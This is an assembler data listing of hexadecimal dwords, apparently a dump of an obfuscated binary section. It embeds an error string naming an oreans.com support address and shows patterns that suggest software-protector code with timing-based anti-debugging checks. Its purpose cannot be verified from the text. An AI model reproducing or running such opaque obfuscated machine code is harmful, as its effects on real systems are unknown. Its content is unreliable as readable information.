		dd 0EB6F2EBDh, 8E905h, 41770000h, 0C03B5568h, 0BD899761h
		dd 5EB6F3Eh, 71DA8160h,	51487AC5h, 0CE9h, 428F5F00h, 1C79BD8Eh
		dd 0CE01CC06h, 6661591Ah, 8A0FC88Ch, 4,	615B5160h, 0E9600324h
		dd 0Ch,	867FAD82h, 2C7F53A3h, 0EC1B4CEAh, 0AE9h, 68453400h
		dd 0E22F82F9h, 61D393F0h, 850FC00Ah, 15Ah, 6EB58DF9h, 0F505EB75h
		dd 75B7858Bh, 6A05EBh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 2743F5C3h, 4A60BB5Eh, 0C8B0FE6h
		dd 0F000000h, 68Dh, 890F00h, 92000000h,	128A0Fh, 52500000h
		dd 8A0Fh, 310F0000h, 8C0Fh, 585A0000h, 0BE950h,	6ACA0000h
		dd 87ECB80Bh, 0D273DC5Ah, 0FF592F2h, 0FE244C01h, 11E95AF5h
		dd 3B000000h, 4965D0C9h, 0DA1FD499h, 641369B3h,	4A583615h
		dd 0F24C283h, 1482h, 0FE900h, 0F4530000h, 90DF648Dh, 4F942D0h
		dd 78BEF92Ch, 728966CEh, 0BF0F60FCh, 74EB80C0h,	10CEC161h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2BC35646h
		dd 4D8E92DCh, 10E9h, 5AC9F500h,	44F1570Eh, 6BD8A4FFh, 0B79C172Bh
		dd 10E958h, 0EE760000h,	9B0E9CCh, 0CDDE0305h, 95E9AB4Fh
		dd 8966A4AAh, 0CDFC0272h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0AE3508AEh
		dd 1188B17Ah, 98B86660h, 11E9F5h, 0C84E0000h, 0F0BCAE1Fh
		dd 0B5920DEDh, 25910D92h, 61D2F797h, 0EBE9F8h, 7E90000h
		dd 37000000h, 0D1365C61h, 858B8241h, 5EB75B7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h, 69986AF9h
		dd 0BF51AE5Ah, 0AE86073h, 0D6000000h, 74B5240Bh, 0C6F35A0Ch
		dd 0EDD980E7h, 8138B958h, 8D617C37h, 0EB756EB5h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 2F0D38C4h, 0E98B40E7h, 5, 0A6CB3AF9h, 6E858DB3h, 0F905EB4Bh
		dd 10E9h, 0A6986100h, 5BC4BBF2h, 0A531400Dh, 0EEBB8CB9h
		dd 6AD0FFFFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 1CC5C355h, 9E25CE92h, 0BE940h
		dd 96FF0000h, 6BE7E0E5h, 87C4E18h, 13E9A3h, 0B0A50000h
		dd 0CD634F75h, 4657ED02h, 624C432Ch, 392C44D0h,	36858974h
		dd 0F505EB6Fh, 1890F61h, 0F8000000h, 6F36858Bh,	880F05EBh
		dd 8, 2850Fh, 61600000h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 6179D872h, 71EACB4Eh
		dd 0C890FB7h, 0F000000h, 68Ah, 8D0F00h,	60000000h, 0B7BD83F9h
		dd 5EB75h, 28850Fh, 8F0F0000h, 1, 0B785C7F8h, 3F05EB75h
		dd 0E9000101h, 11h, 3AAC2EBCh, 7B72CF80h, 3236AF3Fh, 0DCDAAED5h
		dd 0BE9F5F3h, 0E9000000h, 6, 8BFFB19Bh,	20CD4A4Ch, 0
		dd 3774C00Bh, 8B0C708Dh, 0EB6F3EBDh, 8B905h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 0EB6F3A9Dh, 34583B05h, 0D38B157Fh
		dd 304D26Bh, 89018BCAh,	0EB6F3685h, 8B04EB05h, 61C5EB00h
		dd 6F36858Bh, 6ACF05EBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 6085C351h, 615BFC52h
		dd 138F0Fh, 0EE90000h, 96000000h, 371A097Fh, 7ED77729h
		dd 941EAFD7h, 0FE983h, 0DE4E0000h, 0AB268152h, 0E10FEB16h
		dd 5E8F856h, 198E0F3Ch,	0E9000000h, 14h, 31D9C54Dh, 10A357Ch
		dd 9D9D799Ch, 161FC099h, 2BC48BF7h, 0EE8C08Bh, 48000000h
		dd 96A85B41h, 0FAD9DC88h, 64EC2771h, 97B7BA9Ch,	0FC58688Ch
		dd 6FEFC081h, 0BFF50000h, 1BDCh, 9BDA8160h, 613C7BB6h
		dd 870F188Bh, 4, 3792B966h, 0FB5BF381h,	0F08B0E34h, 1E74F381h
		dd 4EBE2675h, 81306A23h, 4A4F5AC3h, 8EBA6610h, 8F5370h
		dd 0CE816660h, 0BF66E09Ch, 83612C74h, 5E904E8h,	4A000000h
		dd 0E69B8086h, 0B5850F4Fh, 0E9FFFFFFh, 0Ah, 8248D4B4h
		dd 94DDF7A8h, 0E93118h,	4, 33000000h, 69206E41h, 7265746Eh
		dd 206C616Eh, 65637865h, 6F697470h, 636F206Eh, 65727563h
		dd 41282064h, 65726464h, 203A7373h, 78257830h, 500D0A29h
		dd 7361656Ch, 63202C65h, 61746E6Fh, 73207463h, 6F707075h
		dd 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h
		dd 756F7920h, 21h, 0E3h	dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 1147h, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 1Dh, 0B1C35545h, 0C6ECC95Fh, 84722EEAh, 6810F59h
		dd 89000000h, 0E823C59Dh, 0AD858B05h, 6A05E810h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 7598C356h, 0E03841A7h, 295481F0h, 0E81FADBDh, 24443905h
		dd 89850F04h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 7F5AC353h, 4B6282Dh
		dd 858B6023h, 5E8194Dh,	0C34E83B8h, 0BF60612Bh,	5C7AFCEEh
		dd 29BD8361h, 5E819h, 46840Fh, 8B600000h, 0E80CCDBDh, 0CE905h
		dd 5A8A0000h, 0DC784C01h, 0CEC8FA9h, 8D617752h,	0E838D785h
		dd 0CDB58905h, 0FF05E82Ch, 55006AE0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FC9569DDh
		dd 0FDD858Bh, 880F05E8h, 0Eh, 258D8960h, 0F05E81Fh, 87h
		dd 8D096100h, 5E81495h,	4244439h, 38850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 60BA80C3h, 81F1B70Fh, 972ADEDEh, 85C7617Ah, 5EB7AF6h
		dd 1, 22F98529h, 6A6005E8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0AE81C352h,	7E32E9CEh
		dd 0AE9F504h, 29000000h, 0E830559Dh, 5,	1B800h,	85870000h
		dd 5EB7C84h, 0F675C00Bh, 2015B5FFh, 858F05E8h, 5EB7AEEh
		dd 0FF6A206Ah, 21A995FFh, 0BD8305E8h, 5E81715h,	6A087400h
		dd 0F995FF00h, 8305E820h, 0E812D5BDh, 0D740105h, 8068h
		dd 0FFFF6A00h, 0E821A995h, 6E905h, 52950000h, 1DBCB146h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BCC35747h
		dd 9BB94A35h, 0F25A749h, 181h, 0B8FC00h, 29000000h, 0E825699Dh
		dd 24548B05h, 8E96028h,	98000000h, 66BF1E88h, 29ED0E10h
		dd 0E816619Dh, 85896105h, 5E80345h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 90C35242h, 89DF98E0h, 0E821E195h
		dd 8D89FC05h, 5E8333Dh,	3CBEh, 1850F00h, 0F9000000h, 24247403h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D9C35545h
		dd 0FAD6645h, 684h, 59526000h, 361FB8Bh, 60242444h, 12E9h
		dd 4531A00h, 47413C6Eh,	0E68D0EF0h, 173DBE64h, 0BB2D52Eh
		dd 0E80C1D85h, 0F506105h, 1085h, 0BE900h, 54C40000h, 8CC5F8Eh
		dd 0ADBF2B93h, 2404895Ah, 0AE9h, 809BEA00h, 43F6AA6h, 0E95A241Ah
		dd 0Ch,	8EE6F70Bh, 6AAB3A59h, 0FA9BB402h, 6A78408Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0F5C0C350h, 7AF6BD83h, 0F0005EBh, 11B85h, 0EE86000h
		dd 0C8000000h, 0BA29160h, 9FF202F0h, 9D34E79h, 0A245B816h
		dd 0F5977DFh, 1887h, 13E900h, 0FC5F0000h, 6B0B5B9Ah, 0B15B981Ch
		dd 1D6213BFh, 7E1EB9A7h, 0E9506158h, 7,	0E2A47975h, 8997DB47h
		dd 8F0F2404h, 1, 24448BFCh, 55006A2Ch, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2407F47Dh
		dd 68D0F71h, 89000000h,	0E829B985h, 85016005h, 5E82819h
		dd 10E8h, 87DFB100h, 6610CED7h,	7E98C993h, 2F0F9912h, 0B9BD2309h
		dd 5B05E813h, 8B0F9061h, 9, 0CA8B6660h,	2ED9B966h, 52505061h
		dd 9E9h, 988D6000h, 0DCEC3FC2h,	310F429Dh, 12E9h, 0D5602C00h
		dd 0B0BA8614h, 87506430h, 40F87EBEh, 5AB5BDB2h,	0BE99058h
		dd 5E000000h, 350E6854h, 23E5EBD4h, 858D8F0Ah, 5EB4696h
		dd 6870Fh, 0B5890000h, 5E80285h, 0CD9D8960h, 8905E82Dh
		dd 0E82F71BDh, 0D0FF6105h, 0E5BD2960h, 6105E820h, 28244403h
		dd 138B0Fh, 0EE90000h, 1D000000h, 98FE002Ch, 3CC6669Dh
		dd 0A9E3FD79h, 18408B84h, 11E9h, 0B3AFE200h, 6F3909ACh
		dd 0DC5312E8h, 5D1D503Ah, 89402121h, 0E832E195h, 6E905h
		dd 284C0000h, 0AC6E74DFh, 7AF28589h, 6A05EBh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B7E90DC3h
		dd 4B271FFh, 9D31CD6Fh,	5E82ACDh, 0A5958958h, 8905E80Ch
		dd 0E813058Dh, 78708B05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 3C35343h, 76A52C50h, 14688D0h, 0E808519Dh
		dd 0BE905h, 0E9550000h,	512A09EFh, 0E0BA5623h, 1CC68362h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F4C35747h
		dd 6AD8FD4Ch, 9D29E1F1h, 5E83181h, 7D8D89F9h, 9605E830h
		dd 11318D89h, 7C8105E8h, 2424h,	870F1000h, 0D2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 69C35545h, 4D9D897Dh
		dd 9005E820h, 8AD68B60h, 605061C1h, 6DACB966h, 12E8h, 0BCF13F00h
		dd 0F875DBDDh, 2EE38C81h, 2B1E5C49h, 0F124098h,	80h, 90615A00h
		dd 24448BF9h, 14E928h, 0B28F0000h, 0EAD3E1C2h, 37F381C9h
		dd 540D2788h, 0D63E1C11h, 0E990BFBEh, 11h, 9B47220Ah, 8C85110Fh
		dd 0EA0CEA7h, 2B5612FDh, 52505090h, 6830Fh, 52500000h
		dd 585A310Fh, 5250310Fh, 810Fh,	310F0000h, 310F5250h, 585A585Ah
		dd 0E990585Ah, 0Dh, 99C50D9Eh, 55631758h, 0F3911344h, 96858D47h
		dd 0FC05EB46h, 8D0FD0FFh, 6, 24E19D31h,	6A9605E8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 2EF1C352h, 47B86660h, 10E8C8h, 55070000h, 3ED3690h
		dd 0F9FF6F86h, 0C5F8A91Fh, 890FD1C6h, 0
		dd 7403615Fh, 89602424h, 0E813E19Dh, 48E38105h,	610BACE7h
		dd 8F59D31h, 0BD8D05E8h, 5E81175h, 0CED8589h, 0E9AD05E8h
		dd 11h,	411ACB1Eh, 32AEBD35h, 3E159C7Dh, 0DAEB63ADh, 1880FB7h
		dd 0F5000000h, 24247C81h, 10000000h, 13E870Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 90962DC3h, 128B0Fh, 52500000h, 8D0Fh, 310F0000h, 310F5250h
		dd 585A585Ah, 8870F50h,	0F000000h, 289h, 90616000h, 14E9h
		dd 4D811B00h, 0C6BF3E17h, 4AAE858Bh, 0EA3A5E44h, 6063B42Ah
		dd 24448BA2h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0B5952947h, 0F505E805h, 94BF6090h
		dd 6622FEF6h, 61D9AFBBh, 10820F50h, 0E9000000h,	0Bh, 3B703CEFh
		dd 4751861Dh, 90A4FDC0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 17C35545h, 0F677558h,	0C88h, 6840F00h
		dd 29000000h, 0E8297DB5h, 96858D05h, 6A05EB46h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 16FC350h, 0FE8600Fh,	63000000h, 8897601Eh, 0E537A687h
		dd 92F890F7h, 0B70FE7B2h, 9D895ECAh, 5E81451h, 6870F61h
		dd 9000000h, 0E82465BDh, 60D0FF05h, 0BB51CE8Bh,	10AB11D1h
		dd 8531615Bh, 5E82999h,	24244403h, 2360ABF9h, 0E8165995h
		dd 25F8BE05h, 81615821h, 10000FAh, 0EF820F00h, 6A000006h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 8DB6C356h, 0BD8D6160h, 5E80735h, 0C8B0Fh
		dd 840F0000h, 6, 0A318D29h, 0FCAD05E8h,	24247C81h, 10000000h
		dd 120870Fh, 0FE90000h,	7F000000h, 4B6282Dh, 9F51B23h
		dd 0A22EDA90h, 0E990EBD2h, 13h,	32D5AED6h, 0B86B47B2h
		dd 0F90F93CCh, 0DC3BC8Fh, 50F14298h, 0DE96060h,	0C7000000h
		dd 127BA7EFh, 2E50D514h, 496010F8h, 310F5250h, 8A61585Ah
		dd 6A9061CFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 89AAC351h, 0E821AD95h,	8D316005h
		dd 5E814E1h, 194DBD31h,	8B6105E8h, 6A282444h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0BAF4C353h, 90297F76h, 5E9h,	7D3B9000h, 6050ACEBh, 8E9h
		dd 0B48CA400h, 4AE17BDh, 0FE85Bh, 442A0000h, 0CC0A4E3Eh
		dd 1355B045h, 4E42CFD0h, 0FE8B6626h, 6090615Fh,	11E8h
		dd 500DEB00h, 84CC9BF6h, 0C1043C83h, 0E523CE08h, 0B52B8FABh
		dd 5E82F3Dh, 11852B5Fh,	6105E80Bh, 4696858Dh, 0B58905EBh
		dd 5E82185h, 8960D0FFh,	0E81FAD95h, 0BE905h, 223A0000h
		dd 0ABF33557h, 8E9666EDh, 44036189h, 6A2424h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 6B2314C3h
		dd 9F971D4h, 858912CCh,	5E81419h, 25D18589h, 605005E8h
		dd 8B0F5250h, 0
		dd 0C88B310Fh, 0D8BB585Ah, 6174FECEh, 6A240489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 8A9DC353h, 35C57108h, 12820FD9h, 0E9000000h,	0Dh, 0C5204D80h
		dd 5396B57Eh, 0F3A82E80h, 60ABF9ACh, 2C759531h,	8B6605E8h
		dd 0BD8D61DEh, 5E82FA1h, 79DC8060h, 0AD61F98Bh,	6820Fh
		dd 0BD290000h, 5E80E81h, 28247C81h, 10000000h, 10B870Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 7D7F2AC3h, 0C1852987h, 0F505E80Fh, 0F525050h
		dd 287h, 0F616000h, 0E9525031h,	0Ch, 0B5B131F4h, 39D1DE7Fh
		dd 30AD4D67h, 7E9310Fh,	0F1000000h, 18607929h, 585ADB2Dh
		dd 489585Ah, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8D89A2E2h, 5E80245h, 2C24448Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 33C35343h, 7AEEBCCCh
		dd 0F82191F1h, 0AE990h,	73250000h, 0FB35EFC5h, 43DC0ABEh
		dd 0E9525050h, 14h, 5C70C773h, 8CB7B077h, 1722D79h, 148F4134h
		dd 5D27D830h, 0E860310Fh, 0Dh, 0C641AD04h, 0C1BAF195h
		dd 5BA420E6h, 5250582Dh, 585A310Fh, 90585A61h, 6DBD0160h
		dd 8A05E810h, 858D61DEh, 5EB4696h, 1D0FFF9h, 0E82975B5h
		dd 24440305h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 8D055BBCh, 0A752DCEBh, 0F605BE4h
		dd 683h, 0A5858900h, 6105E80Fh,	0FF5EFCABh, 0EB7AF28Dh
		dd 0F2BD8305h, 5EB7Ah, 0C0330A75h, 8975B58Dh, 0E6FF05EBh
		dd 7C81AD56h, 2824h, 0E771000h,	24448B50h, 858D502Ch, 5EB4696h
		dd 4403D0FFh, 8B972824h, 0EE858ADFh, 8405EB7Ah,	3A0474C0h
		dd 574C7507h, 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h
		dd 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh
		dd 35660973h, 81665041h, 0FE5449F3h, 33EB75CEh,	4FD333C8h
		dd 0D2F7D575h, 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h
		dd 0FF04C683h, 0E8034585h, 0FF5DE905h, 6A5EFFFFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 21EC353h, 9E9h, 0E7887700h, 3B97D943h, 6A111Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0FC7027C3h, 89508A35h, 0E802C985h, 45858B05h, 6A05E803h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6067C357h, 43D68166h, 0C6B70F33h,	0F8E0D161h
		dd 2FA18503h, 830F05E8h, 1, 6AF62BF8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5B7CC357h
		dd 8EB447C5h, 69908EFFh, 28859D89h, 609605E8h, 0D458D29h
		dd 16105E8h, 0E81F4585h, 6AAD6605h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 8840C357h
		dd 0FEAC156h, 0E0C1F8F6h, 53006A02h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 758503A8h
		dd 6A05E811h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0FF1AC356h, 23D18D29h,	666005E8h
		dd 850BFE8Bh, 5E80741h,	0ADF89661h, 0E9952B60h,	8B05E82Eh
		dd 0E96061CEh, 14h, 0D7F78271h,	6A70A5FEh, 24355E59h, 4363C5AFh
		dd 0BD71D075h, 195A0BEh, 7C816137h, 2424h, 870F1000h, 0AAh
		dd 666090F9h, 61718AB8h, 50525050h, 0F616052h, 5A616031h
		dd 50310F58h, 8D0F52h, 0F000000h, 800F31h, 5A000000h, 90585A58h
		dd 81DBD89h, 448B05E8h,	6A2824h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 8A90FC3h, 7EC1E2A6h
		dd 90B76399h, 0B3FA8B60h, 0E9506170h, 0Bh, 0E17062ACh
		dd 44F57C71h, 90B8DD33h, 1951B589h, 858D05E8h, 5EB4696h
		dd 0F3B86660h, 598D016Ah, 6105E814h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 4403C4C3h
		dd 6A2424h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 899F45C3h, 0E807BDB5h, 10E905h, 0FB1F0000h
		dd 6B09BE18h, 0CF9E3AAAh, 0AD4039A0h, 44891085h, 66601C24h
		dd 0E9E948B8h, 8, 615198C2h, 6B1C0C36h,	1585C661h, 5E820h
		dd 7C8485C7h, 5EBh, 85C70000h, 5EB7AF6h, 0
		dd 89B589FCh, 3105E81Bh, 0E80D2985h, 820F6105h,	1Ah, 0CE860h
		dd 0F9970000h, 600126C7h, 0A63B0350h, 895A48E3h, 0E82E45B5h
		dd 8C26105h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 858B8C13h, 5E81175h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8CC35747h, 6071D985h
		dd 0FC61F28Bh, 51006A4Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8C0FC1C6h, 6, 1361BD89h
		dd 0D26B05E8h, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B49D86D1h, 0C76D3D4Ch
		dd 0E960349Ah, 13h, 62517BFCh, 1E37D923h, 0FF8A4AACh, 5D08C6AAh
		dd 0BA6B1D7Eh, 15967D39h, 0D6816061h, 6F90F9BAh, 16019D8Bh
		dd 36105E8h, 7D8529C2h,	9605E832h, 7E9h, 4ABAE000h, 0E9E3BD28h
		dd 57006AADh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FC53EB7Ah, 24247C81h, 10000000h, 143870Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0CD346DC3h, 6E960h, 75C60000h, 21A02705h
		dd 2F49858Bh, 506105E8h, 13E9h,	3912DE00h, 2B7DFB62h, 0D20F0671h
		dd 467C0C16h, 4C561D4Bh, 9240489h, 0E82301BDh, 448BFC05h
		dd 6A2824h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 908326C3h, 11880Fh, 0E8600000h, 9, 56BDED60h
		dd 85BD42ACh, 50615EE0h, 0A6BB6660h, 0FE9D8h, 0DB4C0000h
		dd 1E7B33BAh, 673CD488h, 2D7DDD96h, 6A9061AEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 75F5C356h, 57EC68F2h, 0D14D63CFh, 11E9h, 70EE9200h
		dd 0BB07BBDh, 0FE5A596Eh, 443D2D32h, 858DE6BBh,	5EB4696h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 35C35040h
		dd 12E99EA4h, 82000000h, 0F692B4BBh, 59909EB5h,	4B879324h
		dd 56C18A4Ch, 0F59D8998h, 0FF05E815h, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0FD10E9AAh, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8D31DBC3h, 0EB8F5885h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 9531B6A3h, 5E80349h,	2B58589h, 505005E8h, 2880F52h
		dd 60000000h, 0F310F61h, 286h, 5A616000h, 24048958h, 9258D89h
		dd 0FF6405E8h, 35h, 25B58900h, 8B05E81Fh, 6A2404h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 60C782C3h, 2471BD01h, 0BD2305E8h, 5E8101Dh, 9D858961h
		dd 6A05E81Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0F4E8C351h, 3B2CDE40h,	64FC8699h
		dd 2589h, 0E9600000h, 0Ch, 1E2B24F1h, 0E6B0E0F8h, 3F103D61h
		dd 0FFDB8166h, 858D61ADh, 5EB8D62h, 718D8B60h, 8B05E820h
		dd 0E822F99Dh, 60896105h, 658D8901h, 6005E827h,	0AE9F28Bh
		dd 0A9000000h, 683A4436h, 0B81B0864h, 37E9611Ch, 89000002h
		dd 0E80F8DB5h, 0E8DB8B05h, 0
		dd 5BED815Dh, 0BC05EB8Dh, 12FF9Ch, 12D5BD83h, 740005E8h
		dd 3D858B18h, 0C605E813h, 858B0000h, 5E816DDh, 0FF0000C6h
		dd 0E80C7995h, 0B5FF6005h, 5EB76FAh, 76FE858Dh,	8D5005EBh
		dd 0EB78F685h, 95FF5005h, 5E80DB1h, 610CC483h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 31C35343h, 18663711h
		dd 0CE9FCh, 14E0000h, 0F745EDF8h, 2994AC70h, 0B58D1E46h
		dd 5EB78F6h, 25BD8DFCh,	6A05E800h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89D3C352h
		dd 0E80899B5h, 3E8005h,	61840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D89BAC3h
		dd 5E82D31h, 0C099D09h,	6AA405E8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B9D4C355h
		dd 59B9F83Dh, 6890Fh, 85890000h, 5E8075Dh, 0FFFF9CE9h
		dd 3DB589FFh, 2B05E819h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0A520ED15h, 44347EE2h
		dd 7CD8D01h, 60AA05E8h,	9D89C4B7h, 5E83209h, 0A9950961h
		dd 0B805E823h, 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	7EC35141h, 0EE901h, 0DBE00000h,	2FBADFEEh, 0F4A8D9CAh
		dd 0D8603980h, 33059D89h, 85C705E8h, 5E81349h, 1, 6A8D8DF5h
		dd 6A05E84Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 590C352h, 89D6BBD4h, 0E81305B5h
		dd 6AE1FF05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 9C7BC356h, 12E9DEBBh, 0F4000000h
		dd 0D10209F7h, 7ECD87F5h, 0E71B250Dh, 8AE3083Ch, 245C8B9Eh
		dd 0E8550Ch, 5D000000h,	8F62ED81h, 838B05EBh, 0B8h, 76FA8589h
		dd 858D05EBh, 5EB8D54h,	0B88389h, 335D0000h, 6AC3C0h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 95895FC3h, 5E811A1h,	1BB98529h, 8D3105E8h, 5E8262Dh
		dd 0BD9D8960h, 8D05E814h, 0EB923485h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0A67A854Fh, 950921CCh, 5E81459h, 15870F90h, 0F000000h
		dd 0F81h, 0AE900h, 55010000h, 0EE8DBEAh, 248726B5h, 60525050h
		dd 12E8h, 0D719BC00h, 0C4AD99E0h, 6EE27565h, 0DF157FD2h
		dd 5EA7CFDBh, 0F61CA8Bh, 0F525031h, 89h, 50310F00h, 5A310F52h
		dd 5A585A58h, 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 6F5313C3h, 9708B0E2h, 11E9F5h, 51A30000h
		dd 0F7CAB5DAh, 0FD7E3D0Fh, 64333D02h, 649F6235h, 35FFh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B59C1DC3h, 0BE97Ch, 2E1A0000h, 8B64F9E2h
		dd 0BABB48B3h, 8964FC93h, 25h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0F1017938h
		dd 0F5DF5B4Eh, 9296858Dh, 6E905EBh, 0FA000000h,	0F93FF519h
		dd 16089DFh, 6E9h, 0D30F8D00h, 0C63B7FF8h, 0E8201585h
		dd 0F604F05h, 388h, 91DC8000h, 1CE08166h, 0E8F86158h, 4
		dd 0FEC8742Ah, 128C0Fh,	52500000h, 310F5250h, 310F585Ah
		dd 830Fh, 585A0000h, 52506050h,	310F5B53h, 5E8h, 7AB1DC00h
		dd 5A5EA42Ah, 448B6158h, 14E90424h, 1000000h, 8889AB2Fh
		dd 304FAC59h, 3BFD01CDh, 0ED986EE8h, 8B33F5E5h,	7E900h
		dd 6C690000h, 47FE6994h, 244489A7h, 0B9666004h,	5250E4CDh
		dd 8B66310Fh, 61585ACBh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 6191B1D5h, 0FC297AF6h
		dd 860FBEBCh, 0Ch, 68D0Fh, 830F0000h, 0
		dd 0CA9B5FFh, 810F05E8h, 0Ch, 68A0Fh, 9D310000h, 5E82C6Dh
		dd 7B30858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
